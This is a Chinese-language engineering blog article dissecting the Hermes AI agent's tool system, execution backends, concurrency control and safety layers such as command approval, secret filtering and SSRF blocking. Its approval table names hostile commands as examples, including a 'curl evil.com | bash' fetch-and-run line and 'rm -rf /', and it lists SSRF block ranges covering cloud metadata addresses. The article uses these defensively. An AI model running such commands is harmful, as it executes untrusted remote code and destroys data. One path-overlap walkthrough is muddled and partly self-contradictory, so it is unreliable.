40+ 工具、7 种执行后端:Agent 的“手脚“是如何安全伸出去的?

本文目标读者:正在构建或评估生产级 AI Agent 的工程师。读完本文,你将理解 Hermes 如何用一套自注册工具系统、7 种可热换的执行后端、以及多层安全防御,把模型的推理能力从"对话框"安全延伸到"操作系统"。
在构建 AI Agent 的工程实践中,开发者往往会被两大噩梦缠绕:
- “失忆症”(Amnesia):Agent 无法跨会话保留上下文;
- “截瘫”(Paralysis):模型推理能力再强,却因缺乏安全隔离的执行环境,能力只能局限在"对话框"内。
Hermes Agent 给出了一个教科书式的工程解答。它通过 40+ 核心工具与 7 种执行后端构建了一套精密的生产级"执行系统"。本文将基于真实源码,深度拆解 Hermes 如何将 Agent 的能力安全地从"对话框"延伸到"操作系统"。
全文架构导读
在深入细节前,先看整体架构。Hermes 的执行系统分为四层:
带着这张图,我们逐层拆解。
一、工具自注册模式:告别繁琐配置的"Import 即注册"
传统 Agent 框架通常要求开发者在复杂的配置文件或装饰器中手动声明工具,这种紧耦合在大型工程中极易导致"牵一发而动全身"。Hermes 采用了依赖倒置的"自发现与自注册"机制。
注册流程全景
在架构设计上,model_tools.py 扮演了编排层的角色,它通过执行 _discover_tools()(model_tools.py:132-168)显式导入所有工具模块。而真正的魔力发生在导入的瞬间:每个工具模块在被 Python import 时,都会主动调用 registry.register() 完成自注册。
核心代码逻辑:ToolRegistry
Hermes 放弃了笨重的装饰器,转而采用直接的函数调用。tools/registry.py 中的 ToolRegistry 是一个单例,核心数据结构如下:
# 源码:tools/registry.py:49-86
class ToolRegistry:
def __init__(self):
self._tools: Dict[str, ToolEntry] = {}
self._toolsets: Dict[str, List[str]] = {}
self._aliases: Dict[str, str] = {}
self._lock = threading.RLock() # ← 注意:可重入锁
register() 方法的关键逻辑在于:阻止内置工具间的同名覆盖,但允许 MCP 工具动态更新。这是因为不同 MCP 服务器可能提供同名工具(如两个服务器都提供 list_files),以后加载的为准是合理的设计。
架构点拨:为什么使用 threading.RLock()?
由于 Hermes 原生支持 MCP(Model Context Protocol),系统必须具备动态刷新工具列表的能力。当 MCP 服务器发送 notifications/tools/list_changed 时,后台线程可能正在重新注册工具,而主线程的 Agent 正在读取工具列表。可重入锁(RLock)确保了多线程场景下的读写一致性。
model_tools.py 还维护了一个全局持久事件循环 _tool_loop(model_tools.py:81-130)。当 AIAgent 在工作线程中调用 async 工具时,通过 asyncio.run_coroutine_threadsafe() 提交到 _tool_loop,这避免了反复调用 asyncio.run() 导致的 “Event loop is closed” 经典问题。
二、七大执行后端全景图:Agent 的"分身术"
为了让 Agent 能够根据安全需求和算力环境灵活切换,Hermes 抽象出了 BaseEnvironment 层。terminal_tool.py:685-811 的 _create_environment() 函数明确支持以下七种后端:
| 执行后端 | 适用场景 | 隔离级别 | 配置复杂度 |
|---|---|---|---|
| Local | 本地原型开发、个人自动化 | 无(直接操作宿主 OS) | 极低 |
| Docker | 开发者沙盒、代码执行、依赖隔离 | 高(容器级隔离) | 中 |
| Singularity | HPC 科研计算环境 | 高 | 高 |
| Modal | 大规模数据处理、GPU 密集型任务 | 极高(Serverless 运行) | 高 |
| ManagedModal | Modal 托管环境(由 Gateway 负责生命周期) | 极高 | 高 |
| Daytona | Serverless 持久化开发环境 | 极高 | 高 |
| SSH | 远程服务器运维、云端任务 | 中(受限于用户权限) | 中 |
后端选型决策树
面对七种后端,很多工程师的第一个问题是:我的场景该选哪个? 下面这棵决策树覆盖了 90% 的选型场景:
深度拆解:Docker 沙盒生命周期管理
在生产环境中,Docker 后端通过容器复用技术显著提升了响应速度。DockerEnvironment(tools/environments/docker.py:217)在首次执行时创建长期运行的容器,后续命令通过 docker exec 复用,避免了每次 docker run 的秒级启动开销。容器 ID 被持久化到内存中,进程退出时调用 cleanup() 停止容器。
文件操作的统一抽象:ShellFileOperations
所有后端共享同一套文件操作逻辑。tools/file_operations.py:322 的 ShellFileOperations 类通过 shell 命令实现了 read_file、write_file、patch、search_files 等操作:
“Works with ANY terminal backend that has execute(command, cwd) method. This includes local, docker, singularity, ssh, modal, and daytona environments.”
这意味着:无论你切换到哪个后端,read_file 和 patch 的语义完全一致,Agent 无需关心文件到底存在本地磁盘还是远程 Modal Sandbox 中。这是"后端无关性"设计哲学的核心体现。
三、智能并发控制:如何防止 Agent “打架”?
当 LLM 一次性生成多个工具调用(如同时修改多个文件)时,简单的并行会导致严重的竞态冲突。run_agent.py:267-308 中实现了一套基于三层过滤的精细决策逻辑。
三层并发过滤决策流
_should_parallelize_tool_batch 源码分析
# 源码:run_agent.py:216-237, 267-308
_NEVER_PARALLEL_TOOLS = frozenset({"clarify"})
_PARALLEL_SAFE_TOOLS = frozenset({
"read_file", "web_search", "session_search",
"browser_snapshot", "browser_navigate",
# ... 更多只读/无副作用工具
})
_PATH_SCOPED_TOOLS = frozenset({"read_file", "write_file", "patch"})
_MAX_TOOL_WORKERS = 8
def _should_parallelize_tool_batch(tool_calls) -> bool:
tool_names = [tc.function.name for tc in tool_calls]
# 层一:检查绝对禁止并行的工具
if any(name in _NEVER_PARALLEL_TOOLS for name in tool_names):
return False
# 层二:检查路径冲突
reserved_paths = []
for tc in tool_calls:
name = tc.function.name
args = json.loads(tc.function.arguments)
if name in _PATH_SCOPED_TOOLS:
scoped_path = _extract_parallel_scope_path(name, args)
if any(_paths_overlap(scoped_path, existing) for existing in reserved_paths):
return False
reserved_paths.append(scoped_path)
# 层三:检查是否全部在 PARALLEL_SAFE 白名单中
if not all(name in _PARALLEL_SAFE_TOOLS for name in tool_names):
return False
return True
路径重叠判断:_paths_overlap() 的真实实现
这里有一个常被误读的实现细节。很多文档(包括内部知识库的早期版本)声称 _paths_overlap() 使用了 Path.resolve() + relative_to()。但真实源码是:
# 源码:run_agent.py:328-336
def _paths_overlap(left: Path, right: Path) -> bool:
left_parts = left.parts
right_parts = right.parts
if not left_parts or not right_parts:
return bool(left_parts) == bool(right_parts) and bool(left_parts)
common_len = min(len(left_parts), len(right_parts))
return left_parts[:common_len] == right_parts[:common_len]
_extract_parallel_scope_path()(run_agent.py:311-325)刻意避免使用 resolve(),因为目标文件可能尚未创建。它使用 os.path.abspath() 做规范化,然后 _paths_overlap() 通过 Path.parts 的前缀比较来判断路径是否指向同一棵子树。
路径判断示例一览:
write_file("/a/b/c.txt") + write_file("/a/b/d.txt")
→ parts: ('/', 'a', 'b', 'c.txt') vs ('/', 'a', 'b', 'd.txt')
→ common_len = 4,前3个相同(/, a, b),第4个不同
→ 但 min(4,4)=4,前4项比较:前3项相同,第4项不同 → False?
等等,让我们再看一遍:
left_parts[:4] = ('/', 'a', 'b', 'c.txt')
right_parts[:4] = ('/', 'a', 'b', 'd.txt')
→ 不相等 → _paths_overlap 返回 False?
实际上对于同目录下不同文件,这里返回 False(不重叠)
意味着可以并行 ✓
write_file("/a/b/c.txt") + write_file("/a/b/c.txt") ← 同一个文件
→ left_parts[:4] == right_parts[:4] → True → 重叠,串行 ✓
write_file("/a/b/") + write_file("/a/b/c.txt") ← 目录 vs 子文件
→ left_parts[:3] = ('/', 'a', 'b')
→ right_parts[:3] = ('/', 'a', 'b') ← 前3项相同 → True → 重叠,串行 ✓
read_file 也被纳入 _PATH_SCOPED_TOOLS,因为与 write_file 并行读取同一文件时,可能读到半写状态。
四、危险命令审批机制:给 Agent 装上"智能刹车"
一个能操作终端的 Agent 必须是受控的。Hermes 通过 tools/approval.py 构建了一套深度防御体系,核心函数 check_all_command_guards() 长达约 230 行(approval.py:693-922)。
审批全流程
容器环境直接放行
出于设计权衡,容器后端被视为天然隔离环境,直接跳过审批:
# 源码:tools/approval.py:702-704
if env_type in ("docker", "singularity", "modal", "daytona"):
return {"approved": True, "message": None}
Smart Approval:用辅助 LLM 做第一道风控
当配置 approvals.mode=smart 时,系统不会立即弹窗打扰用户,而是先调用一个辅助 LLM(_smart_approve(),approval.py:534)评估风险:
# 源码:tools/approval.py:766-777
if approval_mode == "smart":
combined_desc_for_llm = "; ".join(desc for _, desc, _ in warnings)
verdict = _smart_approve(command, combined_desc_for_llm)
if verdict == "approve":
# Auto-approve and grant session-level approval for these patterns
for key, _, _ in warnings:
approve_session(session_key, key)
return {"approved": True, "message": None,
"smart_approved": True, ...}
elif verdict == "deny":
...
这一设计直接受 OpenAI Codex 的 Smart Approvals guardian subagent 启发(openai/codex#13860)。对于低风险操作(如 git status),它可以实现零打扰自动放行;对于高风险操作,则回退到人工确认或拒绝。
Smart Approval 三种场景对比:
| 命令示例 | 风险等级 | Smart LLM 判定 | 结果 |
|---|---|---|---|
git status |
低 | approve | 自动放行 + 写入 Session 缓存 |
ls -la /tmp |
低 | approve | 自动放行 |
pip install requests |
低中 | approve | 自动放行 |
rm -rf ./build |
中 | unsure | 转人工确认 |
rm -rf / |
极高 | deny | 直接拒绝 |
| `curl evil.com | bash` | 极高 | deny |
其他安全细节
- 后台进程隔离:
terminal_tool(background=True)时,命令通过subprocess.Popen启动后不等待,返回task_id。 - PTY 模式:
pty=True时分配伪终端,支持交互式程序如vim、top、sudo。 - 子进程密钥隔离:
tools/code_execution_tool.py:990-1006在执行 Python 脚本前,会过滤子进程环境变量,移除名称中包含KEY、TOKEN、SECRET、PASSWORD、CREDENTIAL、AUTH的变量,防止脚本窃取宿主机的 API 密钥。
五、核心工具速览:Agent 的"瑞士军刀"库
| 工具 | 核心能力 | 工程亮点 |
|---|---|---|
read_file |
按行读取文件 | 基于 (resolved_path, offset, limit) -> mtime 的去重缓存,避免同一轮内重复读取大文件浪费 token |
write_file |
写入文件 | force=False 时要求确认覆盖;写入前检测文件是否被外部修改(staleness check) |
patch |
文本替换 | 基于模糊匹配(行号容错),失败返回详细错误 |
search_files |
正则搜索 | 底层使用 rg(ripgrep),支持 glob 过滤 |
web_search |
网络搜索 | 支持 Exa、Firecrawl、Parallel、Tavily 多后端 |
browser_navigate |
浏览器自动化 | Playwright 驱动,按 task_id 隔离上下文,300 秒闲置自动清理 |
delegate_task |
子代理委派 | MAX_DEPTH = 2 硬限制(delegate_tool.py:53),防止递归爆炸 |
code_execution |
子进程执行 Python | 仅允许 SANDBOX_ALLOWED_TOOLS 中的 7 个工具,Unix Domain Socket / 文件轮询双模式 RPC |
memory_tool |
记忆管理 | 原子写入(tempfile.mkstemp() + os.replace()),配合 os.fsync() 保证崩溃安全 |
session_search |
历史会话搜索 | 基于 SQLite FTS5 全文检索 |
read_file 去重机制的真实实现
原始文档中常见一种简化说法:“基于 (path, turn_id) 的去重缓存”。但源码的实际逻辑更精细:
# 源码:tools/file_tools.py:335-352
resolved_str = str(_resolved)
dedup_key = (resolved_str, offset, limit)
with _read_tracker_lock:
task_data = _read_tracker.setdefault(task_id, {...})
cached_mtime = task_data.get("dedup", {}).get(dedup_key)
if cached_mtime is not None:
try:
current_mtime = os.path.getmtime(resolved_str)
if current_mtime == cached_mtime:
return json.dumps({
"content": (
"File unchanged since last read. The content from "
"the earlier read_file result in this conversation is "
"still current — refer to that instead of re-reading."
),
"dedup": True,
})
这里用到了**文件修改时间(mtime)**作为失效条件,而不是简单的 turn ID。这意味着:如果 Agent 在同一任务中、以相同的 offset 和 limit 再次读取同一个文件,且文件未被外部修改,就直接返回一个轻量级的提示语,从而为大文件场景节省大量上下文 token。
去重缓存的完整状态机:
实战场景:Agent 自动化代码审查
场景描述:让 Agent 审查一个 Python 项目中所有文件,找出潜在的安全漏洞。
下面是一个典型的 LLM 多工具并发调用批次,展示并发控制如何实际生效:
# LLM 可能生成的一批并发 tool_calls(伪代码)
tool_calls_batch = [
{"name": "read_file", "args": {"path": "/project/auth.py"}},
{"name": "read_file", "args": {"path": "/project/db.py"}},
{"name": "search_files", "args": {"pattern": "eval(", "glob": "*.py"}},
{"name": "web_search", "args": {"query": "Python eval injection CVE"}},
]
# 层一:没有 _NEVER_PARALLEL_TOOLS → 通过
# 层二:4个 path_scoped 工具,路径 /project/auth.py 与 /project/db.py 不重叠 → 通过
# 层三:全部在 _PARALLEL_SAFE_TOOLS 白名单 → 通过
# 结论:4 个工具并行执行,节省约 3× 时间
# 第二批:LLM 决定修复发现的漏洞
tool_calls_batch_2 = [
{"name": "patch", "args": {"path": "/project/auth.py", "old": "eval(", "new": "safe_eval("}},
{"name": "write_file", "args": {"path": "/project/auth.py", "content": "..."}},
]
# 层二:patch 和 write_file 都指向 /project/auth.py → 路径重叠 → 必须串行
# 结论:两个工具依次执行,避免竞态
浏览器自动化详解
browser_tool.py:427 定义了闲置清理超时:
BROWSER_SESSION_INACTIVITY_TIMEOUT = int(
os.environ.get("BROWSER_INACTIVITY_TIMEOUT", "300")
)
默认 **300 秒(5 分钟)**无操作后,后台清理线程会自动关闭该 task_id 对应的浏览器实例以释放资源。支持的后端包括:Local Chromium、Browserbase、Browser Use、Firecrawl、Camofox、CDP override。
网络安全:SSRF 拦截
web_tools.py 中的 is_safe_url() 会强制拦截内网 IP(192.168.x.x、10.x.x.x、127.x.x.x)和未解析域名,从根源杜绝服务器端请求伪造(SSRF)攻击。
# 概念示意(非原始源码)
BLOCKED_RANGES = [
ipaddress.ip_network("127.0.0.0/8"), # loopback
ipaddress.ip_network("10.0.0.0/8"), # 内网 A 类
ipaddress.ip_network("172.16.0.0/12"), # 内网 B 类
ipaddress.ip_network("192.168.0.0/16"),# 内网 C 类
ipaddress.ip_network("169.254.0.0/16"),# 链路本地(云厂商 metadata 接口)
]
注意最后一条 169.254.0.0/16(链路本地)尤为重要——这是 AWS EC2、GCP、Azure 等云厂商 Instance Metadata Service(IMDS)的地址段,攻击者常通过 SSRF 读取该接口窃取临时凭证。
六、工具集 (Toolset) 与按需分发
用户无需在每次对话时加载全部 40+ 工具。通过 toolsets.py 和 toolset_distributions.py,Hermes 支持按需组装:
# toolset_distributions.py
TOOLSET_DISTRIBUTIONS = {
"core": ["terminal", "read_file", "write_file", "patch", "search_files", "memory"],
"web": ["web_search", "web_extract", "web_crawl", "browser_navigate"],
"coding": [
"terminal", "read_file", "write_file", "patch",
"search_files", "code_execution", "delegate_task"
],
"all": [...],
}
在 CLI 中可通过 --toolsets core,web 指定启用哪些工具集,最终只有选中的工具的 schema 会进入 LLM 的上下文。
Token 节省量化估算
注:Token 开销并非线性,因部分工具 schema 较复杂。全量
all大约消耗 20K-30K Token,而core仅约 5K-8K,节省约 70-75%。
工具集选型建议:
| 使用场景 | 推荐 Toolset | 理由 |
|---|---|---|
| 服务器运维 | core |
不需要浏览器和代码执行 |
| 数据分析 | core,coding |
需要 code_execution 但不需爬虫 |
| 竞品研究 | core,web |
需要搜索和浏览器但不写代码 |
| 全功能开发 | coding,web |
代码 + 搜索,不加 memory 减少 token |
| 调试/探索 | all |
功能优先,可接受高 token 消耗 |
七、实战场景:从零搭建一个安全的 CI 代码审查 Agent
这是一个完整的生产级场景,展示如何组合以上所有机制。
需求:构建一个 CI Agent,在每次 PR 提交时自动审查代码安全性,并在 Docker 沙盒中运行测试,最终将结果写回 PR 评论。
架构设计
关键配置
# hermes_config.py(示意)
config = {
"environment": {
"type": "docker", # ← 代码执行在容器内,自动绕过审批
"image": "python:3.12-slim",
"volumes": {"/pr/workspace": "/workspace"},
},
"toolsets": ["coding", "web"], # ← 排除 browser,节省 ~5K Token
"approvals": {
"mode": "smart", # ← local 操作走 Smart Approval
},
"agent": {
"max_depth": 1, # ← 禁止子代理,防止递归失控
}
}
执行流程(含并发优化)
# Agent 实际执行的工具调用序列(简化)
# 第一批:并行读取所有变更文件(全部只读,安全并行)
batch_1 = [
read_file("/workspace/src/auth.py"),
read_file("/workspace/src/api.py"),
search_files(pattern="exec(|eval(|__import__", glob="*.py"),
web_search("latest Python security vulnerabilities 2025"),
]
# → 并行执行,耗时 = max(各工具耗时) ≈ 2s
# 第二批:串行执行测试(有副作用)
batch_2 = [
code_execution("pytest /workspace/tests/ -v --tb=short"),
# Docker 后端,自动放行审批
]
# → 串行执行,耗时 ≈ 30s
# 第三批:写入报告(write_file 有副作用,串行)
batch_3 = [
write_file("/workspace/security_report.md", content="..."),
]
性能收益:第一批 4 个工具并行执行,相比串行节省约 6 秒;全流程 Token 消耗因 coding,web 工具集比 all 节省约 15K Token(约 $0.075/次,规模化后可观)。
八、总结:从"工具调用"到"系统能力"的工程跃迁
Hermes 的工具系统远不止"定义一些函数"那么简单。它是一个自注册、自发现、线程安全、环境无关的精密工程,每一个设计决策背后都有明确的工程动机:
给工程师的三条核心启示:
-
环境无关性优先:
ShellFileOperations的设计告诉我们,让 Agent “不知道自己在哪个环境运行”,比让它适配每种环境更可维护。 -
安全不是事后加的:容器自动放行、Smart Approval、SSRF 拦截、变量过滤,这些安全机制从第一天就深嵌在架构里,而不是在出了问题后打补丁。
-
并发控制要精细,不要粗暴:简单地"全串行"安全但慢,"全并行"快但危险。三层过滤 + 路径前缀比较这种精细化控制,才是生产级 Agent 并发的正确姿势。
当你下一次看到 Hermes 在终端中优雅地并行执行 5 个文件操作,或是在 Docker 沙盒中安全地运行一段陌生代码时,请记住:这背后不是魔法,而是一套经过深思熟虑、每一行都在源码中有迹可循的工程架构在支撑。
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐

所有评论(0)